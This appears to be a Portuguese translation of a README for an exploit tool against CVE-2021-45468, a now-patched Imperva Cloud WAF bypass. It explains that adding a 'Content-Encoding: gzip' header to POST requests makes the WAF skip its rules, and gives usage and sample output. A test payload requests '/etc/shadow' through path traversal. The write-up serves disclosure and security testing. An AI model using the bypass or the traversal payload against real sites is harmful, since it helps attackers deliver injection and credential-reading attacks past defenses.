0xhaggis/imperva_gzip_bypassExploit para CVE-2021-45468, um bypass do Imperva WAF.
O Imperva Cloud WAF era vulnerável a um bypass que permite que invasores evitem as regras do WAF ao enviar payloads HTTP POST maliciosos, como explorações log4j, injeção SQL, execução de comandos, path traversal, XXE, etc.
A equipe da Imperva levou isso muito a sério desde o minuto em que foi reportado a eles, e eles implementaram uma correção global em apenas alguns dias. Parabéns. Todos os clientes do Cloud WAF estão automaticamente corrigidos a partir de 22 de dezembro de 2021. A Imperva foi excelente para trabalhar e claramente possui uma equipe de segurança madura, habilidosa e capaz.
Adicione o cabeçalho Content-Encoding: gzip às requisições HTTP POST. Deixe os dados POST como estão. Não os codifique. Contanto que os primeiros quatro bytes do cabeçalho Content-Encoding sejam gzip, nenhuma regra do WAF será aplicada às requisições POST.
Você pode fazer isso no Burp usando o recurso Match & Replace do proxy:
Adicione um novo cabeçalho assim:
É só isso; você está pronto para prosseguir.
Execute imperva_gzip.py contra uma URL que suporte requisições POST desta forma:
Sintaxe:
./imperva_gzip.py [[-t] | [-r]] URL
Adivinhe o tipo de WAF para uma determinada URL:
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
Verifique se o WAF é vulnerável ao bypass de gzip:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
Se você receber este erro:
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
então tente passar -r na linha de comando para ativar o modo relaxado. O modo relaxado está desativado por padrão, o que significa que se espera que uma requisição POST elicie uma resposta HTTP 200 do servidor. -r expande as respostas aceitáveis para HTTP 2xx, 3xx.
Os códigos de saída para imperva_gzip.py são os seguintes:
0: Retornado após obter o tipo de WAF.
1: Linha de comando inválida.
2: Ocorreu um erro de conexão. Pode ser erro de DNS, timeout, etc.
3: Nenhum WAF foi detectado; payloads maliciosos UNIX/Windows não foram bloqueados.
4: Um WAF foi detectado, mas não era o Imperva.
5: O servidor respondeu a uma requisição POST de teste com algo diferente de HTTP 200.
128: Existe um WAF Imperva, mas não é vulnerável ao bypass de gzip.
129: O bypass foi eficaz para o payload UNIX, mas não para o Windows.
130: O bypass foi eficaz para o payload Windows, mas não para o UNIX.
131: O bypass foi eficaz tanto para payloads Windows quanto UNIX.
Envie três requisições POST:
&test=../../../../../../../etc/shadow no corpo, para verificar se o Imperva bloqueiaContent-Encoding: gzip à mesma requisição maliciosa e verifique se o Imperva não a bloqueiaDe acordo com https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, existem quatro valores válidos para o cabeçalho Content-Encoding:
compressdeflategzipbrNos testes, apenas gzip funcionou como bypass.
O Cloud WAF é gerenciado pela Imperva. Como resultado, as atualizações do Cloud WAF afetam quase todos os clientes quase ao mesmo tempo. Está corrigido para todos os clientes a partir de 22 de dezembro de 2021.
O bug do bypass de gzip foi corrigido em um produto separado da Imperva chamado SecureSphere. As notas de versão para v12.6 do SecureSphere contêm este parágrafo:
SPHR-58185: Quando o SecureSphere falhou ao descomprimir o corpo POST em requisições com cabeçalho "Content-Encoding: gzip/deflate", ele não emitiu nenhum alerta e deixou a requisição passar.
Tenho quase certeza de que é o mesmo bug, talvez com a mesma herança de código do Cloud WAF... é um bug muito específico para estar em dois produtos. O problema foi resolvido para o SecureSphere em fevereiro de 2021, mas não sabemos quando foi introduzido. É possível que a vulnerabilidade exista há anos!
Suporte ao Cliente Imperva: https://www.imperva.com/support/technical-support/